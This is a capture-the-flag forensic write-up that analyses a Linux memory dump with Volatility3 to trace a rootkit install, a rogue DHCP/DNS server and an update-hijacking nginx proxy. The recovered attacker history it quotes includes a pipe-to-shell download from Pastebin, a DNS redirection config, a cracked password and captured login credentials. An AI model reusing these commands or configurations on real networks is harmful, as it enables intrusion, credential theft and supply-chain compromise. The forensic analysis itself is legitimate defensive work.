Description

A memory dump from a connected Linux machine reveals covert network connections, fake services, and unusual redirects. Holmes investigates further to uncover how the attacker is manipulating the entire network!

TL;DR

  • Linux kernel version:
    5.10.0-35-amd64 (from strings memdump.mem | grep "Linux version")
  • Attacker’s first shell PID:
    13608 (from vol -f memdump.mem linux.pstree – first bash under sshd)
  • Escalated credentials (user:password):
    jm:WATSON0 (from su jm in bash history → cracked /etc/shadow hash)
  • Malicious rootkit file path:
    /usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko
    (from vol -f memdump.mem linux.pagecache.Files | grep Nullincrevenge)
  • Rootkit author email:
    i-am-the@network.now (from embedded module metadata author field)
  • Installed package & PID:
    dnsmasq,38687 (from bash history apt install dnsmasq + linux.pstree)
  • Compromised workstation hostname:
    Parallax-5-WS-3 (from DHCP/ARP log and 192.168.211.52 request logs)
  • User portal login (username):
    mike.sullivan (from captured HTTP POST request to /index.php)
  • Downloaded malicious update:
    /win10/update/CogSoftware/AetherDesk-v74-77.exe
    (from nginx access log entry for 192.168.211.52)
  • Original domain & final redirect:
    updates.cogwork-1.net,13.62.49.86:7477
    (from malicious nginx reverse proxy config on 192.168.211.8)

Solution

In this challenge, we are tasked to analyze the attached memory dump, memdump.mem, which is a dump from a Linux machine.

What is the Linux kernel version of the provided image? (string)

To find the Linux kernel version, we can use strings and grep the output for Linux version using the command strings memdump.mem| grep -i "Linux version". This outputs the Linux version: Linux version 5.10.0-35-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)

Answer: 5.10.0-35-amd64

The attacker connected over SSH and executed initial reconnaissance commands. What is the PID of the shell they used? (number)

To be able to analyze the memory dump using Volatility3, we have to generate a symbols file for the correct Linux kernel.

As we saw from the Linux banner in the previous question, the kernel was 5.10.0-35-amd64 and from a Debian 10.2.1-6 distribution. Using this information, we can find the debug version of the correct kernel in Debian archives.

After downloading the debug version, we need to extract the deb package. We can do this with the following command: dpkg-deb -x linux-image-5.10.0-35-amd64-dbg_5.10.237-1_amd64.deb dbg-out

After extracting, we find the kernel file in dbg-out/usr/lib/debug/lib/modules/5.10.0-35-amd64/vmlinux. Using dwarf2json, we can generate the symbol file that we can use in Volatility. After generating the file, we need to put the file in Volatility’s symbols/linux directory with the name vmlinux-5.10.0-35-amd64.json.

When this is done, we can use Volatility to process our memory dump. To extract the running processes we can run vol -f memdump.mem linux.pstree.

In the output we find a bunch of sshd processes.

* 0x9b3386ee9800    560 560 1   sshd
** 0x9b3383224800    13585   13585   560 sshd
*** 0x9b3383370000    13607   13607   13585   sshd
**** 0x9b338337e000    13608   13608   13607   bash
***** 0x9b33900a4800    20703   20703   13608   su
****** 0x9b3382a5b000    22714   22714   20703   bash
** 0x9b3281326000    63454   63454   560 sshd
*** 0x9b329251e000    63460   63460   63454   sshd
**** 0x9b32924a6000    63461   63461   63460   bash
***** 0x9b3390208000    63483   63483   63461   sudo
****** 0x9b3383044800    63500   63500   63483   insmod

From this list, we can find the first bash process used in the recon.

Answer: 13608

After the initial information gathering, the attacker authenticated as a different user to escalate privileges. Identify and submit that user’s credentials. (user:password)

To find what user the attacker authenticated as, we can dump the bash history using vol -f memdump.mem linux.bash.

Volatility 3 Framework 2.26.0

PID    Process CommandTime Command

13608    bash    2025-09-03 08:16:48.000000 UTC  id
13608    bash    2025-09-03 08:16:52.000000 UTC   
13608    bash    2025-09-03 08:16:52.000000 UTC  cat /etc/os-release 
13608    bash    2025-09-03 08:16:58.000000 UTC  uname -a
13608    bash    2025-09-03 08:17:02.000000 UTC  ip a
13608    bash    2025-09-03 08:17:04.000000 UTC  0
13608    bash    2025-09-03 08:17:04.000000 UTC  ps aux
13608    bash    2025-09-03 08:17:25.000000 UTC  docker run -v /etc/:/mnt -it alpine
13608    bash    2025-09-03 08:18:11.000000 UTC  su jm
22714    bash    2025-09-03 08:18:15.000000 UTC  poweroff
22714    bash    2025-09-03 08:18:31.000000 UTC  id
22714    bash    2025-09-03 08:18:40.000000 UTC  wget -q -O- https://pastebin.com/raw/hPEBtinX|sh
22714    bash    2025-09-03 08:19:48.000000 UTC  nano /etc/sysctl.conf 
22714    bash    2025-09-03 08:20:04.000000 UTC  sysctl --system
22714    bash    2025-09-03 08:20:15.000000 UTC  iptables -A FORWARD -i ens224 -o ens192 -j ACCEPT
22714    bash    2025-09-03 08:20:15.000000 UTC  iptables -A FORWARD -i ens192 -o ens224 -m state --state ESTABLISHED,RELATED -j ACCEPT
22714    bash    2025-09-03 08:20:16.000000 UTC  iptables -t nat -A POSTROUTING -s 192.168.211.0/24 -o ens192 -j MASQUERADE
22714    bash    2025-09-03 08:20:31.000000 UTC  apt install -y dnsmasq
22714    bash    2025-09-03 08:20:50.000000 UTC  rm /etc/dnsmasq.conf 
22714    bash    2025-09-03 08:20:56.000000 UTC  nano /etc/dnsmasq.conf
22714    bash    2025-09-03 08:21:23.000000 UTC  systemctl enable --now dnsmasq 
22714    bash    2025-09-03 08:21:30.000000 UTC  systemctl restart dnsmasq
22714    bash    2025-09-03 08:21:38.000000 UTC  cd /tmp/
22714    bash    2025-09-03 08:21:42.000000 UTC  nano default.conf
22714    bash    2025-09-03 08:22:03.000000 UTC  docker run -d --name jm_proxy --network host -v $(pwd)/default.conf:/etc/nginx/conf.d/default.conf:ro nginx:alpine
22714    bash    2025-09-03 08:22:17.000000 UTC  rm default.conf 
22714    bash    2025-09-03 08:22:17.000000 UTC  /home/werni
63461    bash    2025-09-03 08:26:26.000000 UTC  p멺
63461    bash    2025-09-03 08:26:26.000000 UTC  sudo insmod /lime-5.10.0-35-amd64.ko "path=/tmp/memdump.mem format=lime"

Here we find su jm, which means that the attacker switched to the user jm. Opening the memdump in a hex editor, we can search for jm: to see if we can find the password hash.

Here we found the hash for the user jm.

jm:$1$jm$poAH2RyJp8ZllyUvIkxxd0:0:0:root:/root:/bin/bash

Now we can try to crack the hash using john jm.hash --wordlist=wordlists/rockyou.txt. This returns the password WATSON0.

Answer: jm:WATSON0

The attacker downloaded and executed code from Pastebin to install a rootkit. What is the full path of the malicious file? (/path/filename.ext)

From the bash history we can find the command used to download and execute the code: wget -q -O- https://pastebin.com/raw/hPEBtinX|sh. Since it’s a rootkit, it likely deployed a malicious kernel module. Using Volatility, we can list modules using vol -f memdump.mem linux.check_modules.

In the output, we find an unsigned and out-of-tree module named Nullincrevenge: 0xffffc0aa00d0 Nullincrevenge 0x4000 OOT_MODULE,UNSIGNED_MODULE N/A

Using this information, we can run vol -f memdump.mem linux.pagecache.Files | grep -i Nullincrevenge to find the path of the kernel module.

0x9b33882a9000.0/    8:1 298762ng0x9b3386454a80shREG 135 39  -rw-r--r--  2025-09-03 08:18:44.155080 UTC  2025-09-03 08:18:40.799070 UTC  2025-09-03 08:18:40.799070 UTC  /usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko   551688

Answer: /usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko

What is the email account of the alleged author of the malicious file? (user@example.com)

Searching the memdump for Nullincrevenge, we can find the following information:

description=NULLINC REVENGE IS COMING...
license=GPL
author=i-am-the@network.now
depends=
retpoline=Y
name=Nullincrevenge
vermagic=5.10.0-35-amd64 SMP mod_unload modversions

Answer: i-am-the@network.now

The next step in the attack involved issuing commands to modify the network settings and installing a new package. What is the name and PID of the package? (package name,PID)

In the bash history, we find the following commands:

22714    bash    2025-09-03 08:20:31.000000 UTC  apt install -y dnsmasq
22714    bash    2025-09-03 08:20:50.000000 UTC  rm /etc/dnsmasq.conf 
22714    bash    2025-09-03 08:20:56.000000 UTC  nano /etc/dnsmasq.conf
22714    bash    2025-09-03 08:21:23.000000 UTC  systemctl enable --now dnsmasq 
22714    bash    2025-09-03 08:21:30.000000 UTC  systemctl restart dnsmasq

This indicates that the new package is dnsmasq. To find the PID, we can check the pstree output from earlier. In the output we find * 0x9b32812d6000 38687 38687 1 dnsmasq.

Answer: dnsmasq,38687

Clearly, the attacker’s goal is to impersonate the entire network. One workstation was already tricked and got its new malicious network configuration. What is the workstation’s hostname?

By searching for strings in the memory dump, we recover fragments of dnsmasq.conf.

interface=ens224
dhcp-range=192.168.211.30,192.168.211.240,1h
dhcp-option=3,192.168.211.8
dhcp-option=6,192.168.211.8
address=/updates.cogwork-1.net/192.168.211.8

This will configure the clients to use 192.168.211.8 as their gateway and DNS and the queries for updates.cogwork-1.net will resolve to 192.168.211.8.

Digging deeper into the dump, we can find a log entry of a client connecting to the malicious server.

4041015663 {"log":"192.168.211.52 - - [03/Sep/2025:08:25:48 +0000] \"GET /win10/update/CogSoftware/AetherDesk-v74-77.exe HTTP/1.1\" 200 12084 \"-\" \"AetherDesk/73.0 (Windows NT 10.0; Win64; x64)\" \"-\"\n","stream":"stdout","time":"2025-09-03T08:25:48.599517549Z"}

The client at 192.168.211.52 downloaded the malicious file. Searching for 192.168.211.52, we can find the hostname in this string: 1756891471 00:50:56:b4:32:cd 192.168.211.52 Parallax-5-WS-3 01:00:50:56:b4:32:cd

Answer: Parallax-5-WS-3

After receiving the new malicious network configuration, the user accessed the City of CogWork-1 internal portal from this workstation. What is their username? (string)

To find the username, we can assume that the data is submitted by a HTTP POST request. Searching the dump for POST requests, we find the following:

POST /index.php HTTP/1.1
Host: 10.129.232.25:8081
Connection: keep-alive
Content-Length: 43
Cache-Control: max-age=0
Origin: http://10.129.232.25:8081
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.232.25:8081/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=189b027ab0e5e10f496e57953544cd74

username=mike.sullivan&password=Pizzaaa1%21

Answer: mike.sullivan

Finally, the user updated a software to the latest version, as suggested on the internal portal, and fell victim to a supply chain attack. From which Web endpoint was the update downloaded?

From the earlier GET request log entry, we found the file that was downloaded.

Answer: /win10/update/CogSoftware/AetherDesk-v74-77.exe

To perform this attack, the attacker redirected the original update domain to a malicious one. Identify the original domain and the final redirect IP address and port. (domain,IP:port)

In the memory dump, we can find a nginx configuration file.

server {
    listen 80;
    location / {
        proxy_pass http://13.62.49.86:7477/;
        proxy_set_header Host jm_supply;
    }
}

This indicates that the server at 192.168.211.8 redirects the requests to 13.62.49.86:7477.

Answer: updates.cogwork-1.net,13.62.49.86:7477